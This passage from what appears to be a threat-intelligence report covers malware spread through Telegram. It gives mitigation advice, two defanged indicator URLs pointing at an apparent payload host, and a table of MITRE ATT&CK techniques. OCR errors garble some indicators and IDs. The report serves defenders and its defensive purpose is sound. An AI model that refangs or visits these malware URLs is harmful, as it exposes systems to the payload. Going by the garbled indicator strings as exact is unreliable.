to create Telegram bots. Moreover, Telegram has served as an online marketplace for cybercrime actors where groups actively advertise malware,
exfiltrated data, and services. This makes Telegram a popular tool, allowing threat actors to expand their capabilities without burning through in-house-
developed tools. Iranian-affiliated groups like Handela Hack have been active on Telegram, where posts detail their operations.

Recommendations

Methods to mitigate the risks posed by malware include:

« Deploy EDR/AV solutions: EDR or AV solutions can detect malicious process chains and anomalous activity that may indicate a malware
infection.

« Restrict the ability to install applications: Enforce policies that allow users to install only applications from approved sources, such as App
Stores.

« Expand PowerShell logging: Consider enabling script-block logging to ensure security analysts can view the contents of executed scripts.

+ Secure PowerShell in Corporate Environments: Organizations can enforce script execution policies that allow only signed scripts to run.
Moreover, PowerShell usage should be restricted to users who need to use it.

o User Education: Users can help mitigate the risk of phishing emails and targeted social engineering campaigns. Users should also be wary of
unsolicited attachments or senders that pressure them to open attachments or download files.

Indicators of Compromise

The table below lists network I0Cs that have been identified and added to the Pulsedive platform.

I0Cs

hxxps[://]ppt1[.]sgp1[.]vultrobjects[.Jcom/ok[.]txt

hxxpsl[://]ppt1[.]sgp1[.]vultrobjects[.Jcom/RuntimeSSH_17[.]zip

MITRE ATT&CK TTPs

The TTPs table uses Tactics and Techniques available in MITRE ATT&CK v19. One of the biggest changes in this version of the framework is that the
Defense Evasion tactic has been separated into Stealth (TAO005) and Defense Impairment (TA0112).

A
L

For details about ATT&CK v19, are available here.

Tactic Technique

Stealth Deobfuscate/Decode Files or Information (T1140)

Obfuscated Files or Information:
Encrypted/Encoded (T1027.013)

Masquerading: Match Legitimate Resource Name
or Location (T1036.005)
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https://medium.com/mitre-attack/attack-v19-ff329cb65d66

Execution User Execution: Malicious File (T1204.002)

Command and Scripting Interpreter: PowerShell
(T1059.001)

Command and Scripting Interpreter: Windows
Command Shell (T1059.003)

Command and Scripting Interpreter: Visual Basic
(1059.005)

Exfiltration Exfiltration Over C2 Channel (T1041)
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